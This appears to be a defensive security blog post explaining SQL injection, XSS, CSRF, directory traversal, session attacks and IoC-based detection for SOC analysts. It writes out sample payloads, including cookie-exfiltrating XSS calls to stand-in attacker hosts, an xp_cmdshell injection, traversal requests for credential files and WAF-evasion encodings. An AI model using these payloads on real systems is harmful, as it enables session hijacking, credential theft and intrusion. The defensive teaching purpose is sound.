How Web Applications Get Exploited — SQL Injection, XSS, CSRF, and How to Detect All of It

The web application layer is where most breaches begin. Not because it is technically the hardest to defend — firewalls and network controls are far more complex — but because web applications are directly exposed to the internet, take untrusted input from anonymous users, and often contain vulnerabilities that have been known and exploited for decades.

SQL injection was first documented in 1998. XSS has been on the OWASP Top Ten since the list began in 2003. Both are still in the wild, still causing real breaches, and still evading detection when defenders do not know what to look for.

This post covers every major application-level attack category, how each one works mechanically, what it leaves behind in logs and WAF alerts, and what a SOC analyst needs to look for. I also built a four-tab browser lab: a live WAF log analyzer, an attack payload tester with MITRE mapping, an IoC hunt engine that extracts indicators from raw logs, and a step-by-step session attack simulator.

SQL Injection — The Attack That Should Not Still Exist

SQL injection works because web applications often construct database queries by concatenating user-supplied strings directly into SQL. The user input becomes part of the query syntax — so an attacker who understands SQL can manipulate the query structure rather than just supplying a value.

The classic example: a login form constructs this query from user input:

SELECT * FROM users WHERE username='alice' AND password='correct'

SELECT * FROM users WHERE username='alice' AND password='correct'

If the attacker enters admin' -- as the username, the constructed query becomes:

SELECT * FROM users WHERE username='admin' --' AND password='anything'

SELECT * FROM users WHERE username='admin' --' AND password='anything'

The double-dash comments out everything after it. The password check is gone. The query returns the admin row. The attacker is logged in without knowing the password.

SQLi attack techniques range from basic to sophisticated:

In-band (Union-based) — extracts data in the same response channel by appending UNION SELECT to pull columns from other tables. A successful union extraction dumps usernames and password hashes directly to the browser response.

Blind (Boolean and Time-based) — when the application does not return query results directly. Boolean blind asks true/false questions: AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' — the attacker observes whether the response changes to determine if each character matches. Time-based blind uses WAITFOR DELAY or SLEEP() — if the response is delayed, the condition was true.

Out-of-band — exfiltrates data through a different channel: DNS lookups, HTTP requests from the database server to an attacker-controlled endpoint. Bypasses restrictions on what the query result returns.

Stacked queries — some databases allow multiple statements separated by semicolons. 1; exec xp_cmdshell('whoami')-- executes a system command on the database server. Remote code execution from a SQLi vulnerability.

SOC detection — look for these patterns in WAF logs, web server access logs, and IDS alerts:

GET /login.php?id=1' OR '1'='1--
GET /api/search?q=1 UNION SELECT null,username,password FROM users--
GET /user?id=1; WAITFOR DELAY '0:0:5'--
GET /admin?cmd=1; exec xp_cmdshell('net user')--

GET /login.php?id=1' OR '1'='1--
GET /api/search?q=1 UNION SELECT null,username,password FROM users--
GET /user?id=1; WAITFOR DELAY '0:0:5'--
GET /admin?cmd=1; exec xp_cmdshell('net user')--

Log analysis tools: Loggly, GoAccess, Graylog. Regex patterns to hunt: ', --, UNION, SELECT, exec\s+xp_, information_schema.

Cross-Site Scripting — Injecting Code Into the Browser

XSS injects malicious client-side script into web pages viewed by other users. The attacker does not attack the server directly — they attack the server's users through it.

Three types:

Reflected XSS — the payload is in the URL or form data and is reflected immediately in the response. The attacker crafts a malicious URL and tricks the victim into clicking it. The script executes in the victim's browser in the context of the legitimate site, giving the attacker access to the victim's session cookies, DOM, and more.

Stored XSS — the payload is saved to the database (in a comment, profile bio, product review) and executes for every user who views that content. A single stored XSS payload can attack thousands of users.

DOM-based XSS — the vulnerability is entirely in client-side JavaScript. The server never sees the payload. The attacker manipulates the DOM through URL fragments or JavaScript variables that the page reads without sanitization.

What attackers do with XSS:

• Steal session cookies: fetch('https://attacker.com?c='+document.cookie)
• Keylog every keystroke: document.onkeypress = e => fetch('//attacker.com?k='+e.key)
• Redirect to phishing sites: window.location = 'https://fake-bank.com'
• Perform actions on behalf of the victim (similar to CSRF but from their browser)
• Capture screenshots or form data

Obfuscation bypass techniques attackers use to evade WAFs:

• Hex encoding: %3Cscript%3Ealert(1)%3C%2Fscript%3E
• Double encoding: %253Cscript%253E
• Toggle case: <sCRipT>alert(1)</ScRiPt>
• Inline comments: <sc/**/ript>alert(1)</sc/**/ript>
• Whitespace manipulation: <script%0d%0atype=text/javascript>
• Replaced keywords: <scr<script>ipt>alert(1)</script>

SOC detection — WAF and web server log patterns:

GET /search?q=<script>document.location='http://evil.com?c='+document.cookie</script>
GET /page?name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
POST /comment body=<img src=x onerror=fetch('//attacker.com?c='+document.cookie)>
GET /profile?bio=<svg onload=window.location='https://phish.com?s='+document.cookie>

GET /search?q=<script>document.location='http://evil.com?c='+document.cookie</script>
GET /page?name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
POST /comment body=<img src=x onerror=fetch('//attacker.com?c='+document.cookie)>
GET /profile?bio=<svg onload=window.location='https://phish.com?s='+document.cookie>

Signatures to alert on: <script, onerror=, onload=, document.cookie, javascript:, window.location, encoded variants of all of the above.

Parameter Tampering — Changing Values the Server Should Control

Parameter tampering manipulates data passed between client and server — URL query parameters, hidden form fields, cookie values, or HTTP headers — to change application behavior in ways not intended by the developer.

URL query string tampering — changing visible parameters. A URL like /order?price=99.99&discount=0 can be modified to /order?price=1.00&discount=99. If the server trusts client-supplied price data, the attacker buys at a modified price.

Hidden field manipulation — HTML forms often include hidden fields with values like <input type="hidden" name="role" value="user">. Intercepting the request with Burp Suite and changing role=admin escalates privileges if the server does not verify authorization server-side.

Cookie tampering — session cookies may contain encoded data like TotalPrice=154.99. An attacker who decodes the cookie (often Base64 or ROT13 — trivially reversed), modifies the value to TotalPrice=1.00, and re-encodes it can manipulate server behavior. Encoding is not encryption.

HTTP header manipulation — the Referer header is used by some applications for access control. Modifying it using Burp Suite can bypass authorization checks that assume only users coming from specific pages have access.

SOC detection: anomalous parameter values (negative prices, unexpected role values), requests with tampered cookies that differ from server-generated values, Referer headers pointing to unexpected sources.

Directory Traversal — Escaping the Webroot

Directory traversal exploits insufficient validation of file paths to access files outside the web server's document root. The ../ sequence traverses up one directory level. Chained sequences traverse up multiple levels.

A vulnerable URL like /download?file=report.pdf becomes:

/download?file=../../../../etc/passwd
/download?file=../../../../windows/win.ini
/download?file=../../../../proc/self/environ

/download?file=../../../../etc/passwd
/download?file=../../../../windows/win.ini
/download?file=../../../../proc/self/environ

If the server constructs the file path by concatenating the webroot and the user-supplied filename without validation, the attacker reads arbitrary files on the server including:

• /etc/passwd and /etc/shadow — user accounts and password hashes
• /proc/self/environ — environment variables including application secrets
• config.php, database.yml — database credentials
• .ssh/id_rsa — SSH private keys

Encoding bypass techniques to evade WAF path filters:

• URL encoded: %2e%2e%2f (one traversal)
• Double encoded: %252e%252e%252f
• Null byte: ../../../../etc/passwd%00.jpg (tricks extension check)
• Absolute path: /etc/passwd directly

SOC detection: ../ sequences in path parameters, encoded variants, requests to /etc/passwd, /etc/shadow, /windows/win.ini, .ssh/, config.php.

CSRF — Making the Victim's Browser Do the Work

Cross-Site Request Forgery exploits the browser's automatic inclusion of session cookies in all requests to a domain, regardless of which site initiated the request.

The three elements required: a logged-in victim, a trusted site with state-changing operations, and a malicious site the victim visits simultaneously.

The attack: while the victim is logged into bank.com, they visit attacker.evil.com. The evil page contains a hidden image tag:

<img src="https://bank.com/transfer?to=attacker&amount=9999" style="display:none">

<img src="https://bank.com/transfer?to=attacker&amount=9999" style="display:none">

The browser fetches this URL, automatically including the victim's bank.com session cookie. The bank sees a valid authenticated request and executes the transfer. The victim loses money. The attacker never needed to know the victim's password.

CSRF works because HTTP is stateless and cookies authenticate requests without verifying who initiated them.

Defense requires breaking this assumption:

• CSRF tokens: a random token generated server-side per session and required in every state-changing request. An attacker on a different origin cannot read this token due to the Same-Origin Policy.
• SameSite cookie attribute: SameSite=Strict prevents the browser from including cookies in cross-origin requests entirely.
• Origin/Referer header validation: reject requests where the Origin or Referer does not match the expected domain.

SOC detection: state-changing requests with missing or invalid CSRF tokens, external Referer headers on sensitive endpoints, repeated identical requests from the same session in short timeframes.

Cookie Poisoning and Session Fixation

Cookie poisoning modifies the content of cookies to bypass authentication or manipulate application state. Developers often encode cookies (Base64, ROT13) believing encoding provides security — it does not. An attacker who decodes, modifies, and re-encodes a cookie can change price values, account numbers, role flags, or session identifiers stored client-side.

Session fixation tricks the victim into using a session ID the attacker already knows:

1. Attacker obtains a valid (unauthenticated) session ID from the server
2. Attacker sends the victim a link with the session ID embedded: https://bank.com/login?sessionid=ATTACKER_KNOWN_ID
3. Victim authenticates using that link
4. Server associates the victim's credentials with that session ID
5. Attacker uses the session ID they already have to access the victim's account

The correct defense: regenerate the session ID on every successful login. Never accept session IDs from URL parameters.

Application-Level DoS

Application-layer DoS does not flood the network — it floods specific application functions with resource-intensive requests that look legitimate at the network level.

User registration DoS: a script repeatedly submits registration forms, filling the database and consuming memory.

Login overload: continuously submitting login requests forces the authentication layer to hit the database for every attempt, exhausting database connections and making the service slow or unavailable for legitimate users.

Account lockout abuse: enumerate valid usernames through another vulnerability, then submit intentionally incorrect passwords for each one, locking out all legitimate users from their accounts.

Detection: application response time degradation, database connection pool exhaustion, elevated 429 (Too Many Requests) or 503 (Service Unavailable) responses, single IP generating disproportionate request volume.

Indicators of Compromise — The Evidence Layer

IoCs are artifacts found on a network or operating system that indicate potential intrusion or malicious activity. A SOC analyst's ability to detect attacks at scale depends on knowing what IoCs to look for and where to find them.

Three IoC categories:

Atomic IoCs cannot be divided further. An IP address is either on a block list or it is not. A file hash either matches a known malware hash or it does not. These are the raw data points.

Computed IoCs are derived from analysis: a regular expression pattern that matches SQL injection signatures, a behavioral threshold (more than 50 POST requests to /login in 60 seconds from one IP).

Behavioral IoCs group atomic and computed indicators into patterns that collectively indicate a threat. No single event triggers the alert — the combination does. This is what SIEM correlation rules implement.

IoC Detection Techniques

Network Traffic Monitoring

All network activity creates traffic. Monitoring tools record source/destination IPs, ports, protocols, connection times, data volumes, and URLs accessed. Sudden changes in traffic patterns — a spike in requests to /login, unusual outbound data volume, connections to previously unseen external IPs — are detection signals. Build a baseline of normal traffic patterns first; deviations from that baseline are where investigations begin.

Packet Analysis

When network logs show suspicious activity, capture and analyze the actual packets. Tools: Wireshark (GUI), tcpdump (CLI), NetworkMiner (file carving). What to look for: protocol violations (invalid TCP flags, unusual sequence numbers), external-to-external traffic through an internal host (possible proxy), DNS queries with high-entropy subdomains (DGA), HTTP requests with anomalous User-Agent strings or encoding.

Log Analysis

Web server logs, application logs, database query logs, and WAF logs all record different aspects of the same attacks. A SQL injection attempt appears in the web server access log as an unusual query parameter, in the IDS alert log as a signature match, and potentially in the database error log as a syntax error.

Key log analysis approach: look for status code sequences. An attacker brute-forcing WordPress credentials generates a long sequence of POST requests to /wp-login.php returning 200 OK (failed login) followed by a 302 Redirect (successful login). The transition from 200 to 302 at log entry 117 of a long sequence is the detection signal.

Host Analysis

After identifying suspicious network activity, analyze the affected host directly. Look for unexpected processes, unusual file modifications, new network sockets, scheduled tasks added by non-admin processes, and registry changes. Cross-reference findings with the network-level IoCs to build a complete picture.

IoC Detection Outcomes

Combining these techniques allows detection of: malicious sniffers on the network, network misconfiguration issues, unusual protocol behavior, channel fingerprinting attempts, firewall bypass attempts, incoming attacks against public-facing services, and obfuscated command sequences using XOR or ROR encoding.

The Lab

I built a four-tab web application security lab. Open webapp_security_lab.html in any browser.

WAF Log Analyzer: live-streamed WAF request log with SQL injection, XSS, path traversal, CSRF, and clean traffic. Filter by attack type. Click any log entry for full request breakdown, highlighted payload analysis, extracted IoCs, and mitigation guidance.

Attack Payload Tester: 6 attack categories with real-world payloads. Select any payload to see technique analysis, WAF evasion risk score, MITRE ATT&CK technique mapping, and detection signatures. Simulate the attack against a configurable target URL.

IoC Hunt Console: paste any raw log data — web server access logs, HTTP request captures, email headers, network flow data. The engine extracts all IoCs (IPs, domains, URLs, emails, file hashes, SQL injection signatures, XSS patterns, path traversal sequences) and classifies each as MALICIOUS, SUSPICIOUS, or CLEAN against embedded threat intelligence. A threat intelligence panel shows known-bad IPs, hashes, and domains with source and confidence scores.

Session Attack Simulator: visual step-by-step simulation of Cookie Poisoning, Session Fixation, CSRF, SQL Injection Auth Bypass, and Stored XSS. Each step shows the actual HTTP request, code, or SQL query. Attack steps are highlighted in red, defense steps in green. Run the simulation to step through each stage sequentially.

git clone https://github.com/Odaimherat/soc-journey
cd soc-journey/day-05/lab
# Open webapp_security_lab.html in your browser

git clone https://github.com/Odaimherat/soc-journey
cd soc-journey/day-05/lab
# Open webapp_security_lab.html in your browser

Full code: github.com/Odaimherat/soc-journey

Three Things That Matter

Application attacks exploit trust, not complexity. SQLi works because the application trusts user input enough to include it in a query. XSS works because the browser trusts content served by the site. CSRF works because the server trusts that any authenticated request was intentionally made by the user. The defenses — parameterized queries, output encoding, CSRF tokens — all do the same thing: break that unwarranted trust.

Detection requires knowing the normal. WAF rules block known-bad patterns. Log analysis finds anomalies. Neither works without a baseline. An analyst who knows what a normal login sequence looks like (200 OK on success, 401 Unauthorized on failure) can spot the attack pattern (200 OK repeated 50 times then a 302 Redirect on the 51st attempt) immediately. Baselining is not optional.

IoCs connect the dots. A single log entry with a suspicious parameter is a flag. That same IP appearing in WAF logs, IDS alerts, and database error logs within the same hour is a confirmed attack in progress. The IoC is not the event — it is the thread that connects events across sources into a complete incident picture.

References

1. OWASP, Top Ten Web Application Security Risks, 2021. https://owasp.org/www-project-top-ten/
2. OWASP, SQL Injection Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
3. OWASP, Cross Site Scripting Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
4. OWASP, CSRF Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
5. OWASP, Session Management Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
6. PortSwigger Web Security Academy, SQL Injection. https://portswigger.net/web-security/sql-injection
7. PortSwigger Web Security Academy, Cross-Site Scripting. https://portswigger.net/web-security/cross-site-scripting
8. MITRE ATT&CK, T1190 — Exploit Public-Facing Application. https://attack.mitre.org/techniques/T1190/
9. NIST SP 800–92, Guide to Computer Security Log Management. https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-92.pdf
10. SANS Institute, Reading Room — Web Application Security. https://www.sans.org/reading-room/whitepapers/application/
11. Cloudflare, What is a Web Application Firewall (WAF)? https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/
12. CISA, Web Application Security Guidance. https://www.cisa.gov/topics/cyber-threats-and-advisories/malicious-cyber-activity